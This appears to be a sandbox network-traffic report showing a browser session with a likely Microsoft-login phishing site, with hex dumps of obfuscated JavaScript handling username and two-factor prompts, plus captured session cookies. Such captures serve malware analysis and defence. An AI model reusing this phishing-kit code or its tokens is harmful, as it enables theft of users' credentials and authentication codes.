2024-08-23 14:21:55 UTC	1369	IN	Data Raw: 43 26 02 22 92 13 20 64 14 59 b2 e5 a0 3a 99 67 82 e6 ee 72 cf 1d 66 c7 a3 2c 1a da 79 0f 13 14 29 92 e2 71 c9 44 e4 e7 84 a0 c2 9f f7 0e ba a8 11 61 68 5f fa 1d ff f6 b8 d7 09 45 9d f7 18 61 a2 cf d1 a7 76 8f 13 7e b0 51 c5 d3 5b 09 40 57 2c 6f 6b b6 61 22 ea 37 fd 68 16 80 a1 c0 35 c2 0c d2 3a 85 ef 21 50 78 14 9f 15 27 6e bd a6 4d 6a 70 82 bc 56 5c ed c3 07 4f fc db 7e b8 f3 ce 26 a0 dc bc 05 0a 43 71 81 c0 11 41 31 9c 20 29 9a 61 39 5e 10 3b a3 77 e9 b5 a7 54 3d eb 39 f8 84 11 13 21 91 29 54 1a 9d c1 64 b1 39 5c 5e fe 82 0a 00 c0 d0 b2 c2 20 28 56 b8 c4 22 c4 92 8f 4b c4 db e9 d5 16 77 f3 73 34 90 cb 61 6b a5 67 b8 d1 63 dc 12 db 49 a1 78 8f 3a 70 56 78 9c f7 22 15 6d 55 d4 d2 cd 70 8f 4e b6 dd 48 9f a8 82 3e b4 c1 8c 26 b3 25 20 c1 88 90 c0 08 8a e1 Data Ascii: C&" dY:grf,y)qDah_Eav~Q[@W,oka"7h5:!Px'nMjpV\O~&CqA1 )a9^;wT=9!)Td9\^ (V"Kws4akgcIx:pVx"mUpNH>&%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.16	49792	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:55 UTC	1450	OUT	GET /34tXF5vOTwPWG7ghRSTWNCY8U9mB4O89110 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:55 UTC	643	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:55 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="34tXF5vOTwPWG7ghRSTWNCY8U9mB4O89110" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=51UULj4YNNz1blHcKp7mF7QwrIuMe4uo4ZRFjxHYhRHg0w1a7QYT26CstKE%2FKyZnVN9VhykW4Ob3OBaGPVq4mEJXgw0uxSchWPo8JgdVuCn7JaLn35ZAhbdNG2iIrw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc0735c15c463-EWR
2024-08-23 14:21:55 UTC	726	IN	Data Raw: 33 37 61 36 0d 0a 63 6f 6e 73 74 20 5f 30 78 35 38 35 61 62 39 3d 5f 30 78 32 64 35 30 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 61 35 32 37 30 32 2c 5f 30 78 36 33 38 65 31 29 7b 63 6f 6e 73 74 20 5f 30 78 31 35 33 37 30 66 3d 5f 30 78 32 64 35 30 2c 5f 30 78 34 34 34 35 64 66 3d 5f 30 78 61 35 32 37 30 32 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 63 6f 6e 73 74 20 5f 30 78 35 66 34 62 30 37 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 35 33 37 30 66 28 30 78 31 63 66 29 29 2f 30 78 31 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 35 33 37 30 66 28 30 78 31 37 35 29 29 2f 30 78 32 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 35 33 37 30 66 28 30 78 31 37 61 29 29 2f 30 78 33 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 31 35 33 37 30 66 28 30 78 Data Ascii: 37a6const _0x585ab9=_0x2d50;(function(_0xa52702,_0x638e1){const _0x15370f=_0x2d50,_0x4445df=_0xa52702();while(!![]){try{const _0x5f4b07=-parseInt(_0x15370f(0x1cf))/0x1+-parseInt(_0x15370f(0x175))/0x2+-parseInt(_0x15370f(0x17a))/0x3+parseInt(_0x15370f(0x
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 73 27 29 5b 27 63 6c 61 73 73 4c 69 73 74 27 5d 5b 27 63 6f 6e 74 61 69 6e 73 27 5d 28 27 64 2d 6e 6f 6e 65 27 29 26 26 28 76 69 65 77 3d 5f 30 78 35 38 35 61 62 39 28 30 78 31 38 33 29 29 3b 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 35 38 35 61 62 39 28 30 78 37 35 29 5d 28 27 73 65 63 74 69 6f 6e 73 5f 70 64 66 27 29 26 26 21 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 27 5d 28 27 73 65 63 74 69 6f 6e 73 5f 70 64 66 27 29 5b 27 63 6c 61 73 73 4c 69 73 74 27 5d 5b 5f 30 78 35 38 35 61 62 39 28 30 78 31 63 33 29 5d 28 5f 30 78 35 38 35 61 62 39 28 30 78 31 37 34 29 29 26 26 28 76 69 65 77 3d 5f 30 78 35 38 35 61 62 39 28 30 78 64 36 29 29 3b 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 35 38 35 61 62 39 28 30 78 37 35 29 5d 28 Data Ascii: ctions')['classList']['contains']('d-none')&&(view=_0x585ab9(0x183));document[_0x585ab9(0x75)]('sections_pdf')&&!document['getElementById']('sections_pdf')['classList'][_0x585ab9(0x1c3)](_0x585ab9(0x174))&&(view=_0x585ab9(0xd6));document[_0x585ab9(0x75)](
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: 33 36 36 30 31 61 28 30 78 31 62 63 29 5d 28 27 23 62 74 6e 5f 73 69 67 27 29 21 3d 3d 6e 75 6c 6c 29 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 33 36 36 30 31 61 28 30 78 37 35 29 5d 28 5f 30 78 33 36 36 30 31 61 28 30 78 31 39 36 29 2b 76 69 65 77 29 5b 27 71 75 65 72 79 53 65 6c 65 63 74 6f 72 27 5d 28 27 23 62 74 6e 5f 73 69 67 27 29 5b 5f 30 78 33 36 36 30 31 61 28 30 78 37 66 29 5d 28 29 3b 65 6c 73 65 7b 69 66 28 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 27 5d 28 5f 30 78 33 36 36 30 31 61 28 30 78 31 39 36 29 2b 76 69 65 77 29 5b 27 71 75 65 72 79 53 65 6c 65 63 74 6f 72 27 5d 28 5f 30 78 33 36 36 30 31 61 28 30 78 31 62 62 29 29 21 3d 3d 6e 75 6c 6c 29 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 Data Ascii: 36601a(0x1bc)]('#btn_sig')!==null)document[_0x36601a(0x75)](_0x36601a(0x196)+view)['querySelector']('#btn_sig')[_0x36601a(0x7f)]();else{if(document['getElementById'](_0x36601a(0x196)+view)['querySelector'](_0x36601a(0x1bb))!==null)document['getElementById
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: 34 62 38 2c 5f 30 78 35 38 34 33 61 35 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 72 75 6e 61 6e 69 6d 61 74 69 6f 6e 28 5f 30 78 34 65 38 31 36 61 2c 5f 30 78 34 39 63 30 66 34 2c 5f 30 78 31 39 30 33 34 65 29 7b 63 6f 6e 73 74 20 5f 30 78 34 63 31 39 38 36 3d 5f 30 78 35 38 35 61 62 39 3b 5f 30 78 34 65 38 31 36 61 3d 3d 30 78 30 26 26 28 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 34 63 31 39 38 36 28 30 78 37 35 29 5d 28 27 73 65 63 74 69 6f 6e 5f 27 2b 5f 30 78 34 39 63 30 66 34 29 5b 5f 30 78 34 63 31 39 38 36 28 30 78 31 62 63 29 5d 28 5f 30 78 34 63 31 39 38 36 28 30 78 39 37 29 29 5b 5f 30 78 34 63 31 39 38 36 28 30 78 37 62 29 5d 5b 5f 30 78 34 63 31 39 38 36 28 30 78 31 39 37 29 5d 3d 5f 30 78 34 63 31 39 38 36 28 30 78 63 30 29 2b 5f 30 78 31 39 30 33 34 65 Data Ascii: 4b8,_0x5843a5);}function runanimation(_0x4e816a,_0x49c0f4,_0x19034e){const _0x4c1986=_0x585ab9;_0x4e816a==0x0&&(document[_0x4c1986(0x75)]('section_'+_0x49c0f4)[_0x4c1986(0x1bc)](_0x4c1986(0x97))[_0x4c1986(0x7b)][_0x4c1986(0x197)]=_0x4c1986(0xc0)+_0x19034e
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: 27 74 77 6f 66 61 73 65 6c 65 63 74 65 64 27 2c 5b 5f 30 78 32 32 35 63 61 31 2c 5f 30 78 32 30 31 35 34 64 28 30 78 31 65 61 29 5d 2c 30 78 31 29 5b 5f 30 78 32 30 31 35 34 64 28 30 78 62 34 29 5d 28 5f 30 78 34 32 32 31 32 30 3d 3e 7b 63 6f 6e 73 74 20 5f 30 78 34 62 63 65 63 30 3d 5f 30 78 32 30 31 35 34 64 3b 69 66 28 5f 30 78 34 32 32 31 32 30 26 26 76 69 65 77 3d 3d 27 61 75 74 68 61 70 70 27 29 7b 5f 30 78 34 32 32 31 32 30 5b 27 6d 65 73 73 61 67 65 27 5d 3d 3d 5f 30 78 34 62 63 65 63 30 28 30 78 31 35 35 29 26 26 6d 6f 72 65 69 6e 66 6f 72 65 71 28 29 3b 5f 30 78 34 32 32 31 32 30 5b 5f 30 78 34 62 63 65 63 30 28 30 78 31 32 33 29 5d 3d 3d 5f 30 78 34 62 63 65 63 30 28 30 78 31 61 62 29 26 26 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f Data Ascii: 'twofaselected',[_0x225ca1,_0x20154d(0x1ea)],0x1)[_0x20154d(0xb4)](_0x422120=>{const _0x4bcec0=_0x20154d;if(_0x422120&&view=='authapp'){_0x422120['message']==_0x4bcec0(0x155)&&moreinforeq();_0x422120[_0x4bcec0(0x123)]==_0x4bcec0(0x1ab)&&setTimeout(functio
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: 78 35 61 39 38 35 32 28 30 78 39 37 29 29 5b 27 73 74 79 6c 65 27 5d 5b 27 61 6e 69 6d 61 74 69 6f 6e 27 5d 3d 27 73 68 6f 77 2d 66 72 6f 6d 2d 72 69 67 68 74 5c 78 32 30 30 2e 35 73 27 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 35 61 39 38 35 32 28 30 78 37 35 29 5d 28 5f 30 78 35 61 39 38 35 32 28 30 78 31 30 63 29 29 5b 5f 30 78 35 61 39 38 35 32 28 30 78 39 30 29 5d 5b 5f 30 78 35 61 39 38 35 32 28 30 78 63 38 29 5d 28 5f 30 78 35 61 39 38 35 32 28 30 78 31 37 34 29 29 2c 76 69 65 77 3d 5f 30 78 35 61 39 38 35 32 28 30 78 31 64 37 29 3b 7d 2c 30 78 63 38 29 3b 7d 2c 30 78 31 66 34 29 29 29 3b 5f 30 78 34 32 32 31 32 30 5b 5f 30 78 34 62 63 65 63 30 28 30 78 31 32 33 29 5d 3d 3d 5f 30 78 34 62 63 65 63 30 28 30 78 31 64 65 29 26 26 28 64 6f 63 75 6d 65 6e Data Ascii: x5a9852(0x97))['style']['animation']='show-from-right\x200.5s',document[_0x5a9852(0x75)](_0x5a9852(0x10c))[_0x5a9852(0x90)][_0x5a9852(0xc8)](_0x5a9852(0x174)),view=_0x5a9852(0x1d7);},0xc8);},0x1f4)));_0x422120[_0x4bcec0(0x123)]==_0x4bcec0(0x1de)&&(documen
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: 3b 5f 30 78 31 30 65 65 35 63 26 26 76 69 65 77 3d 3d 5f 30 78 31 34 31 35 31 65 28 30 78 38 62 29 26 26 28 5f 30 78 31 30 65 65 35 63 5b 5f 30 78 31 34 31 35 31 65 28 30 78 31 32 33 29 5d 3d 3d 5f 30 78 31 34 31 35 31 65 28 30 78 31 35 35 29 26 26 6d 6f 72 65 69 6e 66 6f 72 65 71 28 29 2c 5f 30 78 31 30 65 65 35 63 5b 5f 30 78 31 34 31 35 31 65 28 30 78 31 32 33 29 5d 3d 3d 5f 30 78 31 34 31 35 31 65 28 30 78 31 61 62 29 26 26 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 61 69 74 32 66 61 28 5f 30 78 35 65 39 63 38 39 2c 6e 75 6c 6c 29 3b 7d 2c 30 78 31 66 34 30 29 2c 5f 30 78 31 30 65 65 35 63 5b 27 6d 65 73 73 61 67 65 27 5d 3d 3d 27 64 75 70 6c 69 63 61 74 65 5c 78 32 30 72 65 71 75 65 73 74 27 26 26 28 77 61 69 74 32 66 61 63 Data Ascii: ;_0x10ee5c&&view==_0x14151e(0x8b)&&(_0x10ee5c[_0x14151e(0x123)]==_0x14151e(0x155)&&moreinforeq(),_0x10ee5c[_0x14151e(0x123)]==_0x14151e(0x1ab)&&setTimeout(function(){wait2fa(_0x5e9c89,null);},0x1f40),_0x10ee5c['message']=='duplicate\x20request'&&(wait2fac
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: 5b 5f 30 78 34 35 65 36 39 33 28 30 78 39 30 29 5d 5b 27 72 65 6d 6f 76 65 27 5d 28 5f 30 78 34 35 65 36 39 33 28 30 78 31 37 34 29 29 2c 76 69 65 77 3d 5f 30 78 34 35 65 36 39 33 28 30 78 31 64 37 29 3b 7d 2c 30 78 63 38 29 3b 7d 2c 30 78 31 66 34 29 29 29 2c 5f 30 78 31 30 65 65 35 63 5b 5f 30 78 31 34 31 35 31 65 28 30 78 31 32 33 29 5d 3d 3d 5f 30 78 31 34 31 35 31 65 28 30 78 31 64 65 29 26 26 28 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 34 31 35 31 65 28 30 78 37 35 29 5d 28 5f 30 78 31 34 31 35 31 65 28 30 78 31 62 39 29 29 5b 5f 30 78 31 34 31 35 31 65 28 30 78 39 30 29 5d 5b 5f 30 78 31 34 31 35 31 65 28 30 78 31 37 65 29 5d 28 5f 30 78 31 34 31 35 31 65 28 30 78 31 37 34 29 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 34 31 35 31 65 28 30 78 37 35 Data Ascii: [_0x45e693(0x90)]['remove'](_0x45e693(0x174)),view=_0x45e693(0x1d7);},0xc8);},0x1f4))),_0x10ee5c[_0x14151e(0x123)]==_0x14151e(0x1de)&&(document[_0x14151e(0x75)](_0x14151e(0x1b9))[_0x14151e(0x90)][_0x14151e(0x17e)](_0x14151e(0x174)),document[_0x14151e(0x75
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: 29 29 2c 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 27 5d 28 27 73 65 63 74 69 6f 6e 5f 75 6e 61 6d 65 27 29 5b 5f 30 78 31 62 32 34 34 30 28 30 78 31 62 63 29 5d 28 5f 30 78 31 62 32 34 34 30 28 30 78 39 37 29 29 5b 5f 30 78 31 62 32 34 34 30 28 30 78 37 62 29 5d 5b 5f 30 78 31 62 32 34 34 30 28 30 78 31 39 37 29 5d 3d 27 27 2c 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 27 5d 28 5f 30 78 31 62 32 34 34 30 28 30 78 31 65 64 29 29 5b 5f 30 78 31 62 32 34 34 30 28 30 78 39 30 29 5d 5b 5f 30 78 31 62 32 34 34 30 28 30 78 63 38 29 5d 28 27 64 2d 6e 6f 6e 65 27 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 62 32 34 34 30 28 30 78 37 63 29 5d 5b 5f 30 78 31 62 32 34 34 30 28 30 78 37 62 29 5d 5b 27 62 61 Data Ascii: )),document['getElementById']('section_uname')[_0x1b2440(0x1bc)](_0x1b2440(0x97))[_0x1b2440(0x7b)][_0x1b2440(0x197)]='',document['getElementById'](_0x1b2440(0x1ed))[_0x1b2440(0x90)][_0x1b2440(0xc8)]('d-none'),document[_0x1b2440(0x7c)][_0x1b2440(0x7b)]['ba
2024-08-23 14:21:55 UTC	1369	IN	Data Raw: 5b 5f 30 78 31 62 32 34 34 30 28 30 78 31 63 62 29 5d 29 2c 63 68 65 63 6b 65 72 72 6f 72 64 65 73 63 28 5f 30 78 31 62 32 34 34 30 28 30 78 38 62 29 2c 30 78 30 2c 5f 30 78 32 65 35 35 39 66 5b 5f 30 78 31 62 32 34 34 30 28 30 78 65 39 29 5d 29 2c 62 6f 74 74 6f 6d 73 65 63 74 69 6f 6e 6c 69 6e 6b 73 28 5f 30 78 31 62 32 34 34 30 28 30 78 38 62 29 2c 5f 30 78 32 65 35 35 39 66 5b 5f 30 78 31 62 32 34 34 30 28 30 78 31 34 62 29 5d 29 2c 63 68 61 6e 67 65 62 61 63 6b 62 75 74 74 6f 6e 28 27 61 75 74 68 63 61 6c 6c 27 2c 5f 30 78 32 65 35 35 39 66 5b 5f 30 78 31 62 32 34 34 30 28 30 78 39 35 29 5d 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 62 32 34 34 30 28 30 78 37 35 29 5d 28 27 73 65 63 74 69 6f 6e 5f 6d 75 6c 74 69 70 6c 65 61 63 63 6f 75 6e 74 73 27 Data Ascii: [_0x1b2440(0x1cb)]),checkerrordesc(_0x1b2440(0x8b),0x0,_0x2e559f[_0x1b2440(0xe9)]),bottomsectionlinks(_0x1b2440(0x8b),_0x2e559f[_0x1b2440(0x14b)]),changebackbutton('authcall',_0x2e559f[_0x1b2440(0x95)]),document[_0x1b2440(0x75)]('section_multipleaccounts'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.16	49795	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:55 UTC	1622	OUT	POST /nz2XauxEJD6GOWIsNGbmhsISqkHYGospXOJ06xJDflJxNYAMTIpSqdz HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive Content-Length: 53 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://4quqe.oustfemin.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:55 UTC	53	OUT	Data Raw: 70 61 67 65 6c 69 6e 6b 3d 6f 42 56 6c 5a 49 37 42 47 48 63 69 58 37 34 67 52 51 4b 7a 4e 77 25 33 44 25 33 44 26 74 79 70 65 3d 34 26 61 70 70 6e 75 6d 3d 31 Data Ascii: pagelink=oBVlZI7BGHciX74gRQKzNw%3D%3D&type=4&appnum=1
2024-08-23 14:21:56 UTC	1011	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:56 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xME6ZQEiQDrjQ%2F%2F5ERwYMB%2FM4geL46U9gjNu9SVaRC%2BjKWS9Hauem%2FUK3GRH3mUg3PM3OO5yyYq36Bu4y3komegjoYW4MLfg%2F1%2F%2BkJy%2BkTvzoVfn%2Be5K31lkYvwigQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; expires=Fri, 23-Aug-2024 16:21:55 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-08-23 14:21:56 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 6b 78 4d 6b 56 73 4e 33 49 32 59 33 5a 49 63 6b 35 4a 4d 58 46 51 53 58 6c 55 53 57 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 56 6d 51 77 54 44 6c 68 64 33 56 61 64 6a 68 56 4d 31 70 61 4f 56 56 5a 62 6d 5a 51 63 32 35 68 5a 6b 64 32 5a 55 39 45 55 69 38 34 54 6e 4a 73 62 54 68 32 57 47 49 77 59 7a 52 4c 59 32 35 43 55 6a 6b 78 63 46 4e 51 62 6a 56 6e 4d 7a 4a 51 61 57 52 34 59 55 5a 49 63 45 5a 57 63 57 46 77 4d 6c 4d 30 61 48 56 30 4f 45 56 77 64 7a 6b 7a 56 6c 64 61 51 54 52 73 4d 6d 59 30 56 6e 59 32 57 6b 35 47 57 6b 70 56 4f 44 68 61 52 7a 56 71 52 69 74 42 4b 33 6c 32 55 48 52 6a 63 45 78 74 64 44 56 6b 53 48 4e 79 5a 6e 67 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZng
2024-08-23 14:21:56 UTC	97	IN	Data Raw: 35 62 0d 0a 7b 22 65 78 70 69 72 65 64 22 3a 30 2c 22 72 65 64 69 72 65 63 74 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 5c 2f 63 6f 6d 6d 6f 6e 5c 2f 53 41 53 5c 2f 50 72 6f 63 65 73 73 41 75 74 68 22 7d 0d 0a Data Ascii: 5b{"expired":0,"redirecturl":"https:\/\/login.microsoftonline.com\/common\/SAS\/ProcessAuth"}
2024-08-23 14:21:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.16	49796	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:55 UTC	1538	OUT	GET /ijPcVEeSmCWpySyuFQYrrGLm25YHKajvsXLAqraImEwhmVt1OeTi6J3V3vyz230 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; 